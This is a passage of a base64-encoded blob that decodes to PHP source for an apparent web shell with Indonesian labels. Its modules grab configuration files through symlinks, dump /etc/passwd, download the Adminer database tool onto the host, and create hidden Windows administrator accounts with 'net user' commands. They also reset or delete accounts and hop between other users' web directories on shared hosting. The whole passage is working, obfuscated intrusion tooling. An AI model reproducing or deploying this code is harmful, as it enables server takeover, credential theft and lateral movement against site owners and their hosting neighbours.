10gPT0gJ3N5bWxpbmsnKSB7CmVjaG8gIjxjZW50ZXI+CjxhIGhyZWY9XCJyYmJkX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+Cjxicj48YSBocmVmPVwicmJiZF9zeW1jb25maWcvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsKICAgICAgICAgICAgfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0JykgewplY2hvICI8Y2VudGVyPgo8YSBocmVmPVwicmJiZF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPgo8YnI+PGEgaHJlZj1cInJiYmRfc3ltdmhvc3QvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsKICAgICAgICAgICAgfQogICAgICAgIAogICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCJcIj48Y2VudGVyPgogICAgICAgIDwvY2VudGVyPjwvc2VsZWN0Pjxicj48dGV4dGFyZWEgbmFtZT1cInBhc3N3ZFwiIGNsYXNzPSdhcmVhJyByb3dzPScxNScgY29scz0nNjAnPlxuIjsKICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IAogICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGJyPjxicj4KICAgICAgICA8c2VsZWN0IGNsYXNzPVwic2VsZWN0XCIgbmFtZT1cImNvbmZpZ1wiICBzdHlsZT1cIndpZHRoOiA0NTBweDtcIiBoZWlnaHQ9XCIxMFwiPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3ltbGlua1wiPlN5bWxpbmsgQ29uZmlnPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cIjQwNFwiPkNvbmZpZyA0MDQ8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7Cn0KCiNBRE1JTkVSCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2FkbWluZXInKSB7CiAgICAkZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkZGlyKTsKICAgIGZ1bmN0aW9uIGFkbWluZXIoJHVybCwgJGlzaSkgewogICAgICAgICRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgfQogICAgaWYoZmlsZV9leGlzdHMoJ2FkbWluZXIucGhwJykpIHsKICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXllbGxvdz48YSBocmVmPSckZnVsbC9hZG1pbmVyLnBocCcgdGFyZ2V0PSdfYmxhbmsnPmVudGVyIEFkbWluZXI8L2E+PC9mb250PjwvY2VudGVyPiI7CiAgICB9IGVsc2UgewogICAgICAgIGlmKGFkbWluZXIoImh0dHBzOi8vd3d3LmFkbWluZXIub3JnL3N0YXRpYy9kb3dubG9hZC80LjIuNC9hZG1pbmVyLTQuMi40LnBocCIsImFkbWluZXIucGhwIikpIHsKICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj15ZWxsb3c+PGEgaHJlZj0nJGZ1bGwvYWRtaW5lci5waHAnIHRhcmdldD0nX2JsYW5rJz5lbnRlciBBZG1pbmVyPC9hPjwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPkZpbGVkIGZpbGUgYWRtaW5lcjwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0KICAgIH0KCiNLUkRQX1NIRUxMCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3JkcHNoZWxsJykgewogICAgaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICd3aW4nKSB7CiAgICAgICAgaWYoJF9QT1NUWydjcmVhdGUnXSkgewogICAgICAgICAgICAkdXNlciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyd1c2VyJ10pOwogICAgICAgICAgICAkcGFzcyA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwYXNzJ10pOwogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvJHVzZXIvIiwgZXhlKCJuZXQgdXNlciIpKSkgewogICAgICAgICAgICAgICAgZWNobyAiW0lORk9dIC0+IDxmb250IGNvbG9yPXJlZD51c2VyIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IHN1ZGFoIGFkYTwvZm9udD4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGFkZF91c2VyICAgPSBleGUoIm5ldCB1c2VyICR1c2VyICRwYXNzIC9hZGQiKTsKICAgICAgICAgICAgICAgICRhZGRfZ3JvdXBzMSA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgJHVzZXIgL2FkZCIpOwogICAgICAgICAgICAgICAgJGFkZF9ncm91cHMyID0gZXhlKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yICR1c2VyIC9hZGQiKTsKICAgICAgICAgICAgICAgICRhZGRfZ3JvdXBzMyA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvciAkdXNlciAvYWRkIik7CiAgICAgICAgICAgICAgICBlY2hvICJbIFJEUCBBQ0NPVU5UIElORk8gXTxicj4KICAgICAgICAgICAgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4KICAgICAgICAgICAgICAgIElQOiA8Zm9udCBjb2xvcj1saW1lPiIuJGlwLiI8L2ZvbnQ+PGJyPgogICAgICAgICAgICAgICAgVXNlcm5hbWU6IDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+PGJyPgogICAgICAgICAgICAgICAgUGFzc3dvcmQ6IDxmb250IGNvbG9yPWxpbWU+JHBhc3M8L2ZvbnQ+PGJyPgogICAgICAgICAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4KICAgICAgICAgICAgICAgIFsgU1RBVFVTIF08YnI+CiAgICAgICAgICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+CiAgICAgICAgICAgICAgICAiOwogICAgICAgICAgICAgICAgaWYoJGFkZF91c2VyKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW2FkZCB1c2VyXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlthZGQgdXNlcl0gLT4gPGZvbnQgY29sb3I9J3JlZCc+R2FnYWw8L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZigkYWRkX2dyb3VwczEpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnNdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+IjsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRhZGRfZ3JvdXBzMikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+U3VjY2VzczwvZm9udD48YnI+IjsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRhZGRfZ3JvdXBzMykgeyAKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRldXJdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5TdWNjZXNzPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXBdIC0+IDxmb250IGNvbG9yPSdyZWQnPkZpbGVkPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3Nfb3BzaSddKSB7CiAgICAgICAgICAgICR1c2VyID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3JfdXNlciddKTsKICAgICAgICAgICAgaWYoJF9QT1NUWydvcHNpJ10gPT0gJzEnKSB7CiAgICAgICAgICAgICAgICAkY2VrID0gZXhlKCJuZXQgdXNlciAkdXNlciIpOwogICAgICAgICAgICAgICAgZWNobyAiQ2hlY2tpbmcgdXNlcm5hbWUgPGZvbnQgY29sb3I9bGltZT4kdXNlcjwvZm9udD4gLi4uLi4uLiAiOwogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsICRjZWspKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiWyA8Zm9udCBjb2xvcj1saW1lPlN1ZGFoIGFkYTwvZm9udD4gXTxicj4KICAgICAgICAgICAgICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PGJyPgogICAgICAgICAgICAgICAgICAgIDxwcmU+JGNlazwvcHJlPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlsgPGZvbnQgY29sb3I9cmVkPmJlbHVtIGFkYTwvZm9udD4gXSI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmKCRfUE9TVFsnb3BzaSddID09ICcyJykgewogICAgICAgICAgICAgICAgJGNlayA9IGV4ZSgibmV0IHVzZXIgJHVzZXIgaW5kb3hwbG9pdCIpOwogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsIGV4ZSgibmV0IHVzZXIiKSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbY2hhbmdlIHBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPmluZG94cGxvaXQ8L2ZvbnQ+XSAtPiAiOwogICAgICAgICAgICAgICAgICAgIGlmKCRjZWspIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9bGltZT5vazwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5GaWxlZDwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW0lORk9dIC0+IDxmb250IGNvbG9yPXJlZD51c2VyIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IGJlbHVtIGFkYTwvZm9udD4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ29wc2knXSA9PSAnMycpIHsKICAgICAgICAgICAgICAgICRjZWsgPSBleGUoIm5ldCB1c2VyICR1c2VyIC9ERUxFVEUiKTsKICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi8kdXNlci8iLCBleGUoIm5ldCB1c2VyIikpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW3JlbW92ZSB1c2VyOiA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250Pl0gLT4gIjsKICAgICAgICAgICAgICAgICAgICBpZigkY2VrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWxpbWU+b2s8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+ZXJyb3I8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIltJTkZPXSAtPiA8Zm9udCBjb2xvcj1yZWQ+dXNlciA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250PiBiZWx1bSBhZGE8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vCiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICItLSBDcmVhdGUgUkRQIC0tPGJyPgogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgcGxhY2Vob2xkZXI9J3VzZXJuYW1lJyB2YWx1ZT0nICB1c2VybmFtZScgcmVxdWlyZWQ+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyBwbGFjZWhvbGRlcj0ncGFzc3dvcmQnIHZhbHVlPScgIHBhc3N3b3JkJyByZXF1aXJlZD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY3JlYXRlJyB2YWx1ZT0nPj4nPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIC0tIE9wdGlvbiAtLTxicj4KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3JfdXNlcicgcGxhY2Vob2xkZXI9JyAgdXNlcm5hbWUnIHJlcXVpcmVkPgogICAgICAgICAgICA8c2VsZWN0IG5hbWU9J29wc2knPgogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPScxJz5DZWsgVXNlcm5hbWU8L29wdGlvbj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nMic+VWJhaCBQYXNzd29yZDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSczJz5IYXB1cyBVc2VybmFtZTwvb3B0aW9uPgogICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc19vcHNpJyB2YWx1ZT0nPj4nPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Y2FuIG9ubHkgYmUgb24gV2luZG93cyBzZXJ2ZXIuPC9mb250PiI7CiAgICB9CiNKVU1QSU5HCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2p1bXBpbmcnKSB7CiAgICAkaSA9IDA7CiAgICBlY2hvICI8ZGl2IGNsYXNzPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKICAgIGlmKHByZWdfbWF0Y2goIi9oc3BoZXJlLyIsICRkaXIpKSB7CiAgICAgICAgJHVybHMgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7CiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydqdW1wJ10pKSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmU+IjsKICAgICAgICAgICAgZm9yZWFjaCgkdXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgICAgICAkdXJsID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHA6Ly8iLCJ3d3cuIiksICIiLCBzdHJ0b2xvd2VyKCR1cmwpKTsKICAgICAgICAgICAgICAgICRldGMgPSAiL2V0Yy9wYXNzd2QiOwogICAgICAgICAgICAgICAgJGYgPSBmb3BlbigkZXRjLCJyIik7CiAgICAgICAgICAgICAgICB3aGlsZSgkZ2V0cyA9IGZnZXRzKCRmKSkgewogICAgICAgICAgICAgICAgICAgICRwZWNhaCA9IGV4cGxvZGUoIjoiLCAkZ2V0cyk7CiAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSAkcGVjYWhbMF07CiAgICAgICAgICAgICAgICAgICAgJGRpcl91c2VyID0gIi9oc3BoZXJlL2xvY2FsL2hvbWUvJHVzZXIiOwogICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyX3VzZXIpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR1cmxfdXNlciA9ICRkaXJfdXNlci4iLyIuJHVybDsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfcmVhZGFibGUoJHVybF91c2VyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVybF91c2VyJz48Zm9udCBjb2xvcj1nb2xkPiR1cmxfdXNlcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCR1cmxfdXNlcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkanJ3LiI8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIGlmKCRpID09IDApIHsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgS2FtYXIgZGkgIi4kaXA7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj4KICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgTGlzdCBEb21haW5zOiA8YnI+CiAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ1cmwiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjUwcHg7Ij4nOwogICAgICAgICAgICAkZnAgPSBmb3BlbigiL2hzcGhlcmUvbG9jYWwvY29uZmlnL2h0dHBkL3NpdGVzL3NpdGVzLnR4dCIsInIiKTsKICAgICAgICAgICAgd2hpbGUoJGdldHNzID0gZmdldHMoJGZwKSkgewogICAgICAgICAgICAgICAgZWNobyAkZ2V0c3M7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAgJzwvdGV4dGFyZWE+PGJyPgogICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSnVtcGluZyIgbmFtZT0ianVtcCIgc3R5bGU9IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNXB4OyI+CiAgICAgICAgICAgICAgICAgIDwvZm9ybT48L2NlbnRlcj4nOwogICAgICAgIH0KICAgIH0gZWxzZWlmKHByZWdfbWF0Y2goIi92aG9zdHN8dmhvc3QvIiwgJGRpcikpIHsKICAgICAgICBwcmVnX21hdGNoKCIvXC92YXJcL3d3d1wvKC4qPylcLy8iLCAkZGlyLCAkdmgpOwogICAgICAgICR1cmxzID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOwogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnanVtcCddKSkgewogICAgICAgICAgICBlY2hvICI8cHJlPiI7CiAgICAgICAgICAgIGZvcmVhY2goJHVybHMgYXMgJHVybCkgewogICAgICAgICAgICAgICAgJHVybCA9IHN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICR1cmwpOwogICAgICAgICAgICAgICAgJHdlYl92aCA9ICIvdmFyL3d3dy8iLiR2aFsxXS4iLyR1cmwvaHR0cGRvY3MiOwogICAgICAgICAgICAgICAgaWYoaXNfZGlyKCR3ZWJfdmgpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoaXNfcmVhZGFibGUoJHdlYl92aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kd2ViX3ZoJz48Zm9udCBjb2xvcj1nb2xkPiR3ZWJfdmg8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCR3ZWJfdmgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kd2ViX3ZoJz48Zm9udCBjb2xvcj1nb2xkPiR3ZWJfdmg8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkanJ3LiI8YnI+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICBpZigkaSA9PSAwKSB7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwogICAgICAgIH0KICAgICAgICBlY2hvICI8L3ByZT4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJzxjZW50ZXI+CiAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgIExpc3QgRG9tYWluczogPGJyPgogICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0idXJsIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1MHB4OyI+JzsKICAgICAgICAgICAgICAgICAgYmluZygiaXA6JGlwIik7CiAgICAgICAgICAgIGVjaG8gICc8L3RleHRhcmVhPjxicj4KICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPgogICAgICAgICAgICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+JzsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIjxwcmU+IjsKICAgICAgICAkZXRjID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBkaWUoIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiIpOwogICAgICAgIHdoaWxlKCRwYXNzd2QgPSBmZ2V0cygkZXRjKSkgewogICAgICAgICAgICBpZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsKICAgICAgICAgICAgICAgIGZvcmVhY2goJHVzZXJfanVtcGluZ1sxXSBhcyAkdXNlcl9pZHhfanVtcCkgewogICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfZGlyID0gIi9ob21lLyR1c2VyX2lkeF9qdW1wL3B1YmxpY19odG1sIjsKICAgICAgICAgICAgICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9Z29sZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9Z29sZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRqcnc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbl9qdW1wID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOyAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkb21haW5fanVtcCA9PSAnJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA9PiAoIDxmb250IGNvbG9yPXJlZD5nYWJpc2EgYW1iaWwgbmFtYSBkb21haW4gbnlhPC9mb250PiApPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2p1bXAsICRkb21haW5zX2p1bXApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGRvbWFpbnNfanVtcFsxXSBhcyAkZGopIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSAkdXNlcl9qdW1waW5nX3VybFsnbmFtZSddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXNlcl9qdW1waW5nX3VybCA9PSAkdXNlcl9pZHhfanVtcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRpID09IDApIHsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgS2FtYXIgZGkgIi4kaXA7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvcHJlPi